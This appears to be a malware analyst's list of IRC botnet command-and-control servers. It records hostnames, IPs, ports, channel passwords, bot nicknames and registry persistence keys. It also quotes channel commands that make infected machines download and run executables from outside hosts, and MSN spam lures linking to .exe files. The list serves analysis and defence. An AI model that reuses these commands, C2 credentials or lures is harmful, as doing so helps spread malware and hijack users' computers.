cr4ckr0x.net

*** IP of : 61.136.69.197 host cr4ckr0x.net
61.136.69.197:81

[ Changes to registry ]
* Creates key "HKLM\Software\\Microsoft\\Windows".
* Sets value "Windows Updates"="C:\PROGRA~1\COMMON~1\System\winlogo.exe" in key "HKLM\Software\\Microsoft\\Windows".
* Creates key "HKCU\Software\\Microsoft\\Windows".
* Sets value "Windows Updates"="C:\PROGRA~1\COMMON~1\System\winlogo.exe" in key "HKCU\Software\\Microsoft\\Windows".

Connects to IRC Server.
IRC: Uses nickname mlflODMDdlflhDM.
IRC: Uses username ckmpwuyac.
IRC: Joins channel #scanvnc with password rage.

axesor.no-ip.org

*** IP of : 208.77.191.41 host axesor.no-ip.org
208.77.191.41:6667
Nick: pc1426611183
Username: AUT5
Joined Channel: #dbs with Password pwneds
Channel Topic for Channel #dbs: "How knows"

To mark the presence in the system, the following Mutex object was created:
12cFx2FF
The following port was open in the system:

Port Protocol Process
1033 TCP iexplorer.exe (%Windir%\iexplorer.exe)

oao.th3kings.net

*** IP of : 203.154.27.139 host oao.th3kings.net
203.154.27.139:3333
Channel:#!zx!#
Password:zidanag
NICK [00|USA|947039]
USER XP-3986 * 0 :COMPUTERNAME
The newly created Registry Value is:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
windows Live Messenger = "madbbcre.exe"

so that madbbcre.exe runs every time Windows starts

Malware Url
* CK changes topic to '.msn.msg Estas photo so tuyo? http://picture-sex1.com/myfotohi5.exe?='

kao.th3kings.net

*** IP of : 203.158.16.157 host kao.th3kings.net
203.158.16.157:3333
Channel:#!zx!#
Password:zidanag
NICK [00|USA|654386]
USER XP-6752 * 0 :COMPUTERNAME
Registry Modifications

The newly created Registry Value is:
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
windows Live Messenger = "iexplore.exe"

so that iexplore.exe runs every time Windows starts
INSIDE CHANNEL
.msn.msg Estas Foto so Tuyo? http://freevideoporno.net/babygirls.exe?=

ms.update-host.com (Boom)

ms.update-host.com DNS_TYPE_A 66.225.230.213
66.225.230.213:4244
Nick: [00|USA|749660]
Username: XP-9148
Joined Channel: #!msn! with Password ms
Channel Topic for Channel #!msn!: "D http://msngallery.msnmy-pic.com/image.php?="
Private Message to Channel #!msn!: "msn// Thread Activated: Sending Message."
Private Message to Channel #!msn!: "D http://msngallery.msnmy-pic.com/image.php?="
Private Message to Channel #!msn!: "msn// Thread Disabled."
Private Message to Channel #!msn!: ".login poppen -s"

abc.technigoyous.net (hidden)

*** IP of : 218.61.22.10 host abc.technigoyous.net
218.61.22.10:8585
Nick: [00|USA|203945]
Username: XP-3185
Joined Channel: #client1
Channel Topic for Channel #client1: ".r.getfile http://hi5-gallerys.com/loader.exe C:\sdfvinfo.exe 1"
Private Message to Channel #client1: "download// File download: 21.6KB to: C:\sdfvinfo.exe @ 21.6KB/sec."
Private Message to Channel #client1: "download// Created process: "C:\sdfvinfo.exe", PID: <208>"

italian.swiifatecihno.com

*** IP of : 218.61.22.10 host italian.swiifatecihno.com

ok changes topic to '.p.karikar http://hi5-gallerys.com/siwa.exe C:\sihd.exe 1 -s'
218.61.22.10:7763
Nick: fUuFaTLM
Username: pjhakt
Joined Channel: #siwa